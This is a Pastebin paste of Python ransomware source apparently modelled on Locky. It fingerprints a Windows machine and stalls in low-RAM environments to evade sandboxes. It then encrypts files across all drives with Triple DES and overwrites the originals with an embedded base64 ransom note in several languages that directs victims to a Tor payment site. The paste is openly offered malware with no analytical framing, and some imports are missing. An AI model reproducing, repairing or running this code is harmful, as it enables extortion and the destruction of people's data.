SHARE
TWEET

Untitled

a guest Sep 11th, 2018 5,769 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. from Crypto import Random
  2. from Crypto.Cipher import AES
  3.  
  4. zz = '0jAVjHp3yKsOA/rf/VaI2koi27BoMND7Ef2/Pt8'
  5. import base64
  6.  
  7. zz = '27BoMND7Ef2/Pt8q1SWgtCZnWgln1AErFB'
  8. import hashlib
  9. from Crypto.PublicKey import RSA
  10. from Crypto.Cipher import PKCS1_OAEP
  11. import threading
  12. from os.path import expanduser
  13. from os import urandom
  14. from Crypto import Random
  15. from Crypto.Cipher import DES3
  16.  
  17.  
  18. def npass(length):
  19.     if not isinstance(length, int) or length < 8:
  20.         raise ValueError("temp password must have positive length")
  21.  
  22.     chars = "abcdefghijklmnopqrstvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789"
  23.     return "".join(chars[ord(c) % len(chars)] for c in urandom(length))
  24.  
  25.  
  26. def nuid(length):
  27.     if not isinstance(length, int) or length < 8:
  28.         raise ValueError("temp password must have positive length")
  29.  
  30.     chars = "1234567890ABCDEFGHJKLMNPQRSTUVWXYZ"
  31.     from os import urandom
  32.     return "".join(chars[ord(c) % len(chars)] for c in urandom(length))
  33.  
  34.  
  35. password = npass(16)
  36.  
  37. public_key = """-----BEGIN PUBLIC KEY-----
  38. MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2BDALwVKd6Z5Qba9R++G
  39. dkAF7oq80CSafb0SAktfvCKIe2/Sa/GmngybJoo0bTGH6SCDjUpnRrKXBUYTadH0
  40. hlmMqMCRDE5squj+zXpkPbXFpw1QW3MQsNecxkaFs1iNix6NI+jZohR0EZSlbS4m
  41. 6SX9rUVrDfjk0fzC/BtdnmKwldD/x1ayJwQNUUbXGPlkYey+cYMbRa8734JdUyZs
  42. jRBEefSi1w0CB6xMk5mgihto8eRQiWW6zdz+rBCFPaHWDvW8k/qZtBOeB/H87TJ3
  43. 00mi5/2sjV8YJKKKh2N89z0WjiRj+7TVL+FT1zwd3WOcxTh4iRLc2CJxmIoXcTD0
  44. XQIDAQAB
  45. -----END PUBLIC KEY-----"""
  46.  
  47.  
  48. def epass(plaintext):
  49.     rsakey = RSA.importKey(public_key)
  50.     rsakey = PKCS1_OAEP.new(rsakey)
  51.  
  52.     encrypted = rsakey.encrypt(plaintext)
  53.     encrypted = encrypted.encode("base64")
  54.  
  55.     return encrypted.rstrip()
  56.  
  57.  
  58. def _make_des3_encryptor(key, iv):
  59.     encryptor = DES3.new(key, DES3.MODE_CBC, iv)
  60.     return encryptor
  61.  
  62.  
  63. def edes(key, iv, data):
  64.     encryptor = _make_des3_encryptor(key, iv)
  65.     pad_len = 8 - len(data) % 8  # length of padding
  66.     padding = chr(pad_len) * pad_len  # PKCS5 padding content
  67.     data += padding
  68.     return encryptor.encrypt(data)
  69.  
  70.  
  71. def des3_decrypt(key, iv, data):
  72.     encryptor = _make_des3_encryptor(key, iv)
  73.     result = encryptor.decrypt(data)
  74.     pad_len = ord(result[-1])
  75.     result = result[:-pad_len]
  76.     return result
  77.  
  78.  
  79. def testm(dr, msg, passwd):
  80.     print dr
  81.     print msg
  82.     print passwd
  83.  
  84.  
  85. def efile(fname, msg, password, iv):
  86.     fi, ext = os.path.splitext(fname)
  87.     ext = ext[1:]
  88.     ## DEFAULT FILETYPES TO ENCRYPT
  89.     ENCRYPTABLE_FILETYPES = [
  90.         # GENERAL FORMATS
  91.         "dat", "keychain", "sdf", "vcf",
  92.         # IMAGE FORMATS
  93.         "jpg", "png", "tiff", "tif", "gif", "jpeg", "jif", "jfif", "jp2", "jpx", "j2k", "j2c", "fpx", "pcd", "bmp",
  94.         "svg",
  95.         "3dm", "3ds", "max", "obj", "dds", "psd", "tga", "thm", "tif", "tiff", "yuv", "ai", "eps", "ps", "svg", "indd",
  96.         "pct",
  97.         # VIDEO FORMATS
  98.         "mp4", "avi", "mkv", "3g2", "3gp", "asf", "flv", "m4v", "mov", "mpg", "rm", "srt", "swf", "vob", "wmv",
  99.         # DOCUMENT FORMATS
  100.         "doc", "docx", "txt", "pdf", "log", "msg", "odt", "pages", "rtf", "tex", "wpd", "wps", "csv", "ged", "key",
  101.         "pps",
  102.         "ppt", "pptx", "xml", "json", "xlsx", "xlsm", "xlsb", "xls", "mht", "mhtml", "htm", "html", "xltx", "prn",
  103.         "dif",
  104.         "slk", "xlam", "xla", "ods", "docm", "dotx", "dotm", "xps", "ics",
  105.         # SOUND FORMATS
  106.         "mp3", "aif", "iff", "m3u", "m4a", "mid", "mpa", "wav", "wma",
  107.         # EXE AND PROGRAM FORMATS
  108.         "msi", "php", "apk", "app", "bat", "cgi", "com", "asp", "aspx", "cer", "cfm", "css", "htm", "html",
  109.         "js", "jsp", "rss", "xhtml", "c", "class", "cpp", "cs", "h", "java", "lua", "pl", "py", "sh", "sln", "swift",
  110.         "vb", "vcxproj",
  111.         # GAME FILES
  112.         "dem", "gam", "nes", "rom", "sav",
  113.         # COMPRESSION FORMATS
  114.         "tgz", "zip", "rar", "tar", "7z", "cbr", "deb", "gz", "pkg", "rpm", "zipx", "iso",
  115.         # MISC
  116.         "ged", "accdb", "db", "dbf", "mdb", "sql", "fnt", "fon", "otf", "ttf", "cfg", "ini", "prf", "bak", "old", "tmp",
  117.         "torrent"
  118.     ]
  119.  
  120.     if ext not in ENCRYPTABLE_FILETYPES:
  121.         return 0
  122.     lookm = fname + ".lockedfile"
  123.     if os.path.isfile(lookm):
  124.         return 0
  125.     if "LOCKY-README.txt" in fname:
  126.         return 0
  127.  
  128.     fd = open(fname, "rb")
  129.     data = fd.read()
  130.     fd.close()
  131.     data = data.encode("base64")
  132.     fd = open(fname, "wb")
  133.     fd.write(msg)
  134.     fd.close()
  135.     fd = open(fname + ".lockedfile", "wb")
  136.     zdata = edes(password, iv, data)
  137.     fd.write(zdata)
  138.     fd.close()
  139.     fd = open(fname + ".lockymap", "wb")
  140.     fd.write(msg)
  141.     fd.close()
  142.  
  143.  
  144. def get_drives():
  145.     drives = []
  146.     bitmask = windll.kernel32.GetLogicalDrives()
  147.     letter = ord('A')
  148.     while bitmask > 0:
  149.         if bitmask & 1:
  150.             drives.append(chr(letter) + ':\\')
  151.         bitmask >>= 1
  152.         letter += 1
  153.  
  154.     return drives
  155.  
  156.  
  157. def estart(drive, msg, password, iv):
  158.     for p, d, f in os.walk(drive):
  159.         for ff in f:
  160.             doc = os.path.join(p, ff)
  161.             try:
  162.                 efile(doc, msg, password, iv)
  163.             except:
  164.                 a = 1 + 1
  165.         infof = os.path.join(p, "LOCKY-README.txt")
  166.         try:
  167.             myf = open(infof, "w+")
  168.             myf.write(msg)
  169.             myf.close()
  170.         except:
  171.             pass
  172.     return 0
  173.  
  174.  
  175. home = expanduser("~")
  176. computer = wmi.WMI()
  177. computer_info = computer.Win32_ComputerSystem()[0]
  178. os_info = computer.Win32_OperatingSystem()[0]
  179. proc_info = computer.Win32_Processor()[0]
  180. gpu_info = computer.Win32_VideoController()[0]
  181.  
  182. os_name = os_info.Name.encode('utf-8').split(b'|')[0]
  183. os_version = ' '.join([os_info.Version, os_info.BuildNumber])
  184. system_ram = float(os_info.TotalVisibleMemorySize) / 1048576  # KB to GB
  185. pcname = os.environ['COMPUTERNAME']
  186. lang = locale.getdefaultlocale()
  187.  
  188. LockUID = nuid(16)
  189. LockOS = str(os_name)
  190. LockOSV = str(os_version)
  191. LockCPU = str(proc_info.Name)
  192. LockRAM = str(int(round(system_ram)))
  193. LockGC = str(gpu_info.Name)
  194. LockLANG = str(lang[0])
  195. LockPCNAME = str(pcname)
  196.  
  197. if LockRAM < 4:
  198.     time.sleep(999999)
  199.  
  200. for interface in computer.Win32_NetworkAdapterConfiguration(IPEnabled=1):
  201.     LockMAC = str(interface.MACAddress)
  202.  
  203. iv = Random.new().read(DES3.block_size)
  204. sp = "|||"
  205. mmm = LockUID + sp + password + sp + iv + sp + LockOS + sp + LockCPU + sp + LockMAC + sp + LockRAM + sp + LockLANG + sp + LockPCNAME + sp
  206.  
  207. mypass = epass(mmm)
  208.  
  209. LockPASSWORD = password
  210. LockIV = iv.encode("base64")
  211. torweb = "http://pylockyrkumqih5l.onion/index.php"
  212. msg = "UGxlYXNlIGJlIGFkdmljZWQ6DQpBbGwgeW91ciBmaWxlcywgcGljdHVyZXMgZG9jdW1lbnQgYW5kIGRhdGEgaGFzIGJlZW4gZW5jcnlwdGVkIHdpdGggTWlsaXRhcnkgR3JhZGUgRW5jcnlwdGlvbiBSU0EgQUVTLTI1Ni4NCllvdXIgaW5mb3JtYXRpb24gaXMgbm90IGxvc3QuIEJ1dCBFbmNyeXB0ZWQuDQpJbiBvcmRlciBmb3IgeW91IHRvIHJlc3RvcmUgeW91ciBmaWxlcyB5b3UgaGF2ZSB0byBwdXJjaGFzZSBEZWNyeXB0ZXIuDQpGb2xsb3cgdGhpcyBzdGVwcyB0byByZXN0b3JlIHlvdXIgZmlsZXMuDQoNCjEqIERvd25sb2FkIHRoZSBUb3IgQnJvd3Nlci4gKCBKdXN0IHR5cGUgaW4gZ29vZ2xlICJEb3dubG9hZCBUb3IiICkuDQoyKiBCcm93c2UgdG8gVVJMIDogI3Rvcg0KMyogUHVyY2hhc2UgdGhlIERlY3J5cHRvciB0byByZXN0b3JlIHlvdXIgZmlsZXMuDQoNCkl0IGlzIHZlcnkgc2ltcGxlLiBJZiB5b3UgZG9uJ3QgYmVsaWV2ZSB0aGF0IHdlIGNhbiByZXN0b3JlIHlvdXIgZmlsZXMsIHRoZW4geW91IGNhbiByZXN0b3JlIDEgZmlsZSBvZiBpbWFnZSBmb3JtYXQgZm9yIGZyZWUuDQpCZSBhd2FyZSB0aGUgdGltZSBpcyB0aWNraW5nLiBQcmljZSB3aWxsIGJlIGRvdWJsZWQgZXZlcnkgOTYgaG91cnMgc28gdXNlIGl0IHdpc2VseS4NCg0KWW91ciB1bmlxdWUgSUQgOiAjdWlkDQoNCkNBVVRJT046DQpQbGVhc2UgZG8gbm90IHRyeSB0byBtb2RpZnkgb3IgZGVsZXRlIGFueSBlbmNyeXB0ZWQgZmlsZSBhcyBpdCB3aWxsIGJlIGhhcmQgdG8gcmVzdG9yZSBpdC4NCg0KU1VQUE9SVDoNCllvdSBjYW4gY29udGFjdCBzdXBwb3J0IHRvIGhlbHAgZGVjcnlwdCB5b3VyIGZpbGVzIGZvciB5b3UuDQpDbGljayBvbiBzdXBwb3J0IGF0ICN0b3INCg0KLS0tLS0tLS1CRUdJTiBCSVQgS0VZLS0tLS0tLS0tDQoja2V5DQotLS0tLS0tLUVORCBCSVQgS0VZLS0tLS0tLS0tLS0NCg0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpCRUdJTiBGUkVOQ0gNCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpTJ2lsIHZvdXMgcGxhw650IHNveWV6IGF2aXPDqToNClRvdXMgdm9zIGZpY2hpZXJzLCBpbWFnZXMsIGRvY3VtZW50cyBldCBkb25uw6llcyBvbnQgw6l0w6kgY3J5cHTDqXMgYXZlYyBNaWxpdGFyeSBHcmFkZSBFbmNyeXB0aW9uIFJTQSBBRVMtMjU2Lg0KVm9zIGluZm9ybWF0aW9ucyBuZSBzb250IHBhcyBwZXJkdWVzLiBNYWlzIGNoaWZmcsOpLg0KQWZpbiBkZSB2b3VzIHBlcm1ldHRyZSBkZSByZXN0YXVyZXIgdm9zIGZpY2hpZXJzLCB2b3VzIGRldmV6IGFjaGV0ZXIgRGVjcnlwdGVyLg0KU3VpdmV6IGNlcyDDqXRhcGVzIHBvdXIgcmVzdGF1cmVyIHZvcyBmaWNoaWVycy4NCg0KMSAqIFTDqWzDqWNoYXJnZXogbGUgbmF2aWdhdGV1ciBUb3IuIChJbCBzdWZmaXQgZGUgdGFwZXIgZ29vZ2xlICJUw6lsw6ljaGFyZ2VyIFRvciIpLg0KMiAqIEFsbGVyIMOgIGwnVVJMOiAjdG9yDQozICogQWNoZXRleiBsZSBEZWNyeXB0b3IgcG91ciByZXN0YXVyZXIgdm9zIGZpY2hpZXJzLg0KDQpDJ2VzdCB0csOocyBzaW1wbGUuIFNpIHZvdXMgbmUgY3JveWV6IHBhcyBxdWUgbm91cyBwb3V2b25zIHJlc3RhdXJlciB2b3MgZmljaGllcnMsIGFsb3JzIHZvdXMgcG91dmV6IHJlc3RhdXJlciAxIGZpY2hpZXIgZGUgZm9ybWF0IGQnaW1hZ2UgZ3JhdHVpdGVtZW50Lg0KU295ZXogY29uc2NpZW50IHF1ZSBsZSB0ZW1wcyBlc3QgY29tcHTDqS4gTGUgcHJpeCBzZXJhIGRvdWJsw6kgdG91dGVzIGxlcyA5NiBoZXVyZXMsIGFsb3JzIHV0aWxpc2V6LWxlIMOgIGJvbiBlc2NpZW50Lg0KDQpWb3RyZSBJRCB1bmlxdWU6ICN1aWQNCg0KTUlTRSBFTiBHQVJERToNCk4nZXNzYXlleiBwYXMgZGUgbW9kaWZpZXIgb3UgZGUgc3VwcHJpbWVyIHVuIGZpY2hpZXIgY3J5cHTDqSwgY2FyIGlsIHNlcmEgZGlmZmljaWxlIGRlIGxlIHJlc3RhdXJlci4NCg0KU09VVElFTjoNClZvdXMgcG91dmV6IGNvbnRhY3RlciBsZSBzdXBwb3J0IHBvdXIgYWlkZXIgw6AgZMOpY2hpZmZyZXIgdm9zIGZpY2hpZXJzIHBvdXIgdm91cy4NCkNsaXF1ZXogc3VyIHN1cHBvcnQgw6AgI3Rvcg0KDQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCkVORCBGUkVOQ0gNCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KDQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCkJFR0lOIElUQUxJQU4NCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpTaSBwcmVnYSBkaSBlc3NlcmUgYXZ2aXNhdGk6DQpUdXR0aSBpIHR1b2kgZmlsZSwgaW1tYWdpbmksIGRvY3VtZW50aSBlIGRhdGkgc29ubyBzdGF0aSBjcml0dG9ncmFmYXRpIGNvbiBNaWxpdGFyeSBHcmFkZSBFbmNyeXB0aW9uIFJTQSBBRVMtMjU2Lg0KTGUgdHVlIGluZm9ybWF6aW9uaSBub24gc29ubyBwZXJzZS4gTWEgY3JpdHRvZ3JhZmF0by4NClBlciBwb3RlciByaXByaXN0aW5hcmUgaSB0dW9pIGZpbGUgZGV2aSBhY3F1aXN0YXJlIERlY3J5cHRlci4NClNlZ3VpcmUgcXVlc3RhIHByb2NlZHVyYSBwZXIgcmlwcmlzdGluYXJlIGkgZmlsZS4NCg0KMSAqIFNjYXJpY2EgaWwgVG9yIEJyb3dzZXIuIChCYXN0YSBkaWdpdGFyZSBzdSBnb29nbGUgIkRvd25sb2FkIFRvciIpLg0KMiAqIFBhc3NhIGEgVVJMOiAjdG9yDQozICogQWNxdWlzdGEgRGVjcnlwdG9yIHBlciByaXByaXN0aW5hcmUgaSB0dW9pIGZpbGUuDQoNCsOIIG1vbHRvIHNlbXBsaWNlIFNlIG5vbiBjcmVkaSBjaGUgcG9zc2lhbW8gcmlwcmlzdGluYXJlIGkgdHVvaSBmaWxlLCBwdW9pIHJpcHJpc3RpbmFyZSAxIGZpbGUgZGkgZm9ybWF0byBpbW1hZ2luZSBncmF0dWl0YW1lbnRlLg0KU2lpIGNvbnNhcGV2b2xlIGNoZSBpbCB0ZW1wbyBzdHJpbmdlLiBJbCBwcmV6em8gc2Fyw6AgcmFkZG9wcGlhdG8gb2duaSA5NiBvcmUsIHF1aW5kaSB1c2FsbyBzYWdnaWFtZW50ZS4NCg0KSWwgdHVvIElEIHVuaXZvY286ICN1aWQNCg0KQVRURU5aSU9ORToNClNpIHByZWdhIGRpIG5vbiBwcm92YXJlIGEgbW9kaWZpY2FyZSBvIGVsaW1pbmFyZSBhbGN1biBmaWxlIGNyaXR0b2dyYWZhdG8gaW4gcXVhbnRvIHNhcsOgIGRpZmZpY2lsZSByaXByaXN0aW5hcmxvLg0KDQpTVVBQT1JUTzoNCsOIIHBvc3NpYmlsZSBjb250YXR0YXJlIGwnYXNzaXN0ZW56YSBwZXIgZGVjcml0dG9ncmFmYXJlIGkgZmlsZSBwZXIgY29udG8gZGVsbCd1dGVudGUuDQpDbGljY2Egc3VsIHN1cHBvcnRvIGluICN0b3INCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KRU5EIElUQUxJQU4NCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpCRUdJTiBLT1JFQU4NCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0K7KGw7Ja47J2EIOuwm+ycvOyLreyLnOyYpCA6DQrrqqjrk6Ag7YyM7J28LCDsgqzsp4Qg66y47IScIOuwjyDrjbDsnbTthLDripQg6rWw7JqpIOuTseq4iSDslZTtmLjtmZQgUlNBIEFFUy0yNTbsnLzroZwg7JWU7Zi47ZmU65CY7Ja0IOyeiOyKteuLiOuLpC4NCuq3gO2VmOydmCDsoJXrs7TripQg7IaQ7Iuk65CY7KeAIOyViuyKteuLiOuLpC4g6re465+s64KYIOyVlO2YuO2ZlC4NCu2MjOydvOydhCDrs7Xsm5DtlZjroKTrqbQgRGVjcnlwdGVy66W8IOq1rOyehe2VtOyVvO2VqeuLiOuLpC4NCuydtCDri6jqs4Tsl5Ag65Sw6528IO2MjOydvOydhCDrs7Xsm5DtlZjsi63si5zsmKQuDQoNCjEgKiBUb3Ig67iM65287Jqw7KCA66W8IOuLpOyatOuhnOuTnO2VmOyLreyLnOyYpC4gKOq1rOq4gOyXkCAiVG9yIOuLpOyatOuhnOuTnCLrp4wg7J6F66Cl7ZWY66m065Cp64uI64ukLikNCjIgKiBVUkwg7LC+7JWE67O06riwIDogI3Rvcg0KMyAqIO2MjOydvOydhCDrs7Xsm5DtlZjroKTrqbQgRGVjcnlwdG9y66W8IOq1rOyehe2VmOyLreyLnOyYpC4NCg0K6re46rKD7J2AIOunpOyasCDqsITri6jtlanri4jri6QuIO2MjOydvOydhCDrs7Xsm5Ag7ZWgIOyImCDsnojri6Tqs6Ag7IOd6rCB7KeAIOyViuycvOuptCDsnbTrr7jsp4Ag7ZiV7Iud7J2YIO2MjOydvCAxIOqwnOulvCDrrLTro4zroZwg67O17JuQIO2VoCDsiJgg7J6I7Iq164uI64ukLg0K7Iuc6rCE7J20IOuYkeuUsSDqsbDrpqzqs6Ag7J6I64uk64qUIOqyg+ydhCDslYzslYQg65GQ7Iut7Iuc7JikLiDqsIDqsqnsnYAgOTYg7Iuc6rCE66eI64ukIOuRkCDrsLDqsIDrkJjrr4DroZwg7ZiE66qF7ZWY6rKMIOyCrOyaqe2VmOyLreyLnOyYpC4NCg0K6rOg7JygIElEIDogI3VpZA0KDQrso7zsnZg6DQrslZTtmLjtmZQg65CcIO2MjOydvOydhCDsiJjsoJXtlZjqsbDrgpgg7IKt7KCc7ZWY7KeAIOuniOyLreyLnOyYpC4g67O17JuQ7ZWY6riw6rCAIOyWtOugpOyauCDsiJgg7J6I7Iq164uI64ukLg0KDQrsp4Dsm5DtlZjri6Q6DQrsp4Dsm5Ag7IS87YSw7JeQIOusuOydmO2VmOyXrCDtjIzsnbzsnZgg7JWU7Zi466W8IO2VtOuPhe2VmOuKlCDrjbAg64+E7JuA7J2E67Cb7J2EIOyImCDsnojsirXri4jri6QuDQojdG9y7JeQ7IScIOyngOybkOydhCDtgbTrpq3tlZjsi63si5zsmKQuDQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCkVORCBLT1JFQU4NCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQo="
  213. msg = msg.decode("base64")
  214. msg = msg.replace("#tor", torweb)
  215. msg = msg.replace("#key", mypass)
  216. msg = msg.replace("#uid", LockUID)
  217.  
  218. edisk = get_drives()
  219.  
  220. for d in edisk:
  221.     if "C" in d:
  222.         t = threading.Thread(target=estart, args=(home, msg, password, iv))
  223.         t.start()
  224.     else:
  225.         t = threading.Thread(target=estart, args=(d, msg, password, iv))
  226.         t.start()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top